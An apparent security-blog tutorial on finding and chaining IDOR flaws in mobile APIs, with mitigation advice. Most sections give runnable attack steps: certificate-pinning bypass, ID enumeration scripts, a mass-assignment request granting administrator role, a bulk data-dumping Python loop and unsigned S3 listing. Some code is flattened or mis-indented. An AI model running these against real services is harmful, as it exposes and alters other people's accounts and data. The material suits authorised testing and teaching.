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Introduction:
Insecure Direct Object References (IDOR) remain one of the most pervasive and high-impact vulnerabilities in modern web and mobile applications. When a backend API fails to validate whether an authenticated user is authorized to access a specific object, attackers can manipulate identifiers—such as user IDs, transaction numbers, or file paths—to view or modify data belonging to others. This article breaks down a real-world IDOR discovery in a mobile application API, escalated from a simple object reference flaw to a scalable abuse chain, and provides technical walkthroughs for detection, exploitation, and mitigation.
Learning Objectives:
- Understand how to intercept and analyze mobile API traffic to uncover IDOR vulnerabilities.
- Learn to chain IDOR flaws with mass assignment or concurrency issues to escalate impact.
- Acquire practical command-line and scripting techniques for automating IDOR enumeration.
You Should Know:
- Intercepting Mobile API Traffic with Burp Suite and Objection
Modern mobile apps often implement certificate pinning, making traditional proxy interception non‑trivial. Defeating pinning is the first step to viewing and tampering with API requests.
Step‑by‑step guide for Android (Linux/macOS):
Install objection (runtime mobile exploration toolkit) pip3 install objection Patch the APK with Frida gadget objection patchapk --source target.apk Install patched APK on device/emulator adb install target.objection.apk Run objection and bypass pinning objection --gadget com.target.app explore android sslpinning disable
Once pinning is disabled, configure Burp Suite as a proxy on the device (Settings → Wi‑Fi → Modify Network → Proxy). All API traffic will now be visible in Burp’s HTTP history, revealing endpoints such as `https://api.target.com/v1/user/profile/1337`. Modifying the numeric ID (1337 → 1338) in a Repeater request is the core IDOR test.
2. Parameter Fuzzing for Hidden Object References
APIs often use UUIDs, hashed IDs, or base64‑encoded references. Automated fuzzing helps identify endpoints that blindly trust client‑supplied object pointers.
Linux fuzzing with ffuf:
Fuzz user IDs in endpoint ffuf -u https://api.target.com/v1/order/FUZZ \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \ -H "Authorization: Bearer eyJhbGci..." \ -fc 403,404
Windows PowerShell alternative:
Simple sequential ID enumeration
foreach ($id in 1000..1100) {
$uri = "https://api.target.com/v1/invoice/$id"
$response = Invoke-WebRequest -Uri $uri -Headers @{Authorization = "Bearer <token>"}
if ($response.StatusCode -eq 200) {
Write-Output "Accessible: $uri"
}
}
If a 200 response returns another user’s private data (email, address, order history), you have confirmed IDOR.
3. Chaining IDOR with Mass Assignment for Escalation
In the original post, the impact was escalated by chaining IDOR with an endpoint that allowed updating object properties without server‑side filtering (mass assignment). For example, changing `isAdmin` or `accountBalance` on another user’s profile.
Proof‑of‑concept cURL command:
curl -X PUT https://api.target.com/v1/user/profile/1340 \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]", "role":"administrator"}'
If the server updates the role field without verifying ownership, the attacker gains admin privileges on a victim account. This demonstrates how a read‑only IDOR becomes a critical privilege escalation.
4. Automating Scalable Exploitation with Python
To demonstrate scale (as highlighted by the teamwork escalation), a simple Python script can harvest thousands of records or modify accounts in bulk.
Python automation script:
import requests
token = "your_jwt_token"
headers = {"Authorization": f"Bearer {token}"}
for user_id in range(2000, 3000):
url = f"https://api.target.com/v1/user/orders/{user_id}"
resp = requests.get(url, headers=headers)
if resp.status_code == 200 and "order_total" in resp.text:
print(f"[+] Accessed user {user_id}: {resp.json()}")
Save to file
with open("idor_dump.txt", "a") as f:
f.write(f"{user_id}: {resp.text}\n")
This script automates the extraction of private order data—a classic example of data exfiltration via IDOR.
5. Cloud Storage Misconfigurations via IDOR
Sometimes the object reference points directly to cloud storage (e.g., `https://s3.amazonaws.com/bucket/user_123/invoice.pdf`). Manipulating the reference may grant access to other users’ files.
AWS CLI verification:
Attempt to list another user's directory aws s3 ls s3://target-bucket/user_124/ --no-sign-request
If successful, the bucket is globally readable and the IDOR gives access to sensitive documents. This bridges API security and cloud hardening.
6. Mitigation: Robust Authorization Checks
Developers must enforce authorization on every endpoint, regardless of whether the object ID is “guessable”. The following Node.js (Express) example demonstrates correct implementation using middleware.
Secure code snippet:
app.get('/api/order/:orderId', async (req, res) => {
const order = await Order.findById(req.params.orderId);
// Authorization: does the order belong to the authenticated user?
if (order.userId.toString() !== req.user.id) {
return res.status(403).json({ error: 'Forbidden' });
}
res.json(order);
});
This ensures that even if an attacker supplies another user’s order ID, they cannot access it.
- Windows Command Line: Detecting IDOR in Thick Clients
While the original find was in a mobile API, thick client applications often embed similar API calls. Fiddler Classic on Windows can decrypt Windows apps’ HTTPS traffic.
Steps on Windows 11:
1. Install Fiddler Classic, enable “Decrypt HTTPS traffic”.
- Run the thick client and filter traffic to the target API.
- Search for endpoints containing patterns like
/user/,/document/,/file/. - Replay requests with modified IDs using Fiddler Composer.
This workflow is identical to mobile testing and reveals the same class of flaws.
What Undercode Say:
- IDOR is not just a “read” bug. Chaining it with write operations or cloud storage references dramatically increases severity. Always test for both horizontal (same role, different user) and vertical (different role) escalation.
- Collaboration multiplies impact. As shown in the original post, a second pair of eyes can transform a minor object reference flaw into a critical‑rated finding by exploring automation and scale. In bug bounty, impact = payout.
- Automation is your ally, but manual analysis finds the chain. Scripts will find the low‑hanging fruit, but understanding the application logic—what fields are writable, how references are generated—separates script kiddies from penetration testers.
Analysis:
This case underscores a persistent reality: even APIs built with modern authentication often neglect authorization at the object level. The team’s ability to pivot from a single insecure reference to mass assignment exploitation shows the importance of testing beyond the first 200 OK. With the explosion of mobile‑first architectures, API endpoints become the new perimeter. Defenders must shift left by implementing robust access control lists and avoiding client‑side trust. For testers, mastering mobile proxy setup and chaining techniques is no longer optional—it is core to the craft.
Prediction:
As AI‑assisted coding becomes mainstream, we will see a sharp increase in IDOR‑like flaws. Large language models trained on insecure code snippets often replicate broken access control patterns without understanding business logic. This will lead to a “second wave” of IDORs, now buried in auto‑generated GraphQL and REST endpoints. Conversely, security testing will also leverage AI to model object ownership graphs and automatically detect authorization gaps at scale. The battle will shift from finding single IDORs to reasoning about entire application state machines.
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Reported By: Mohammad Ajarmeh – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
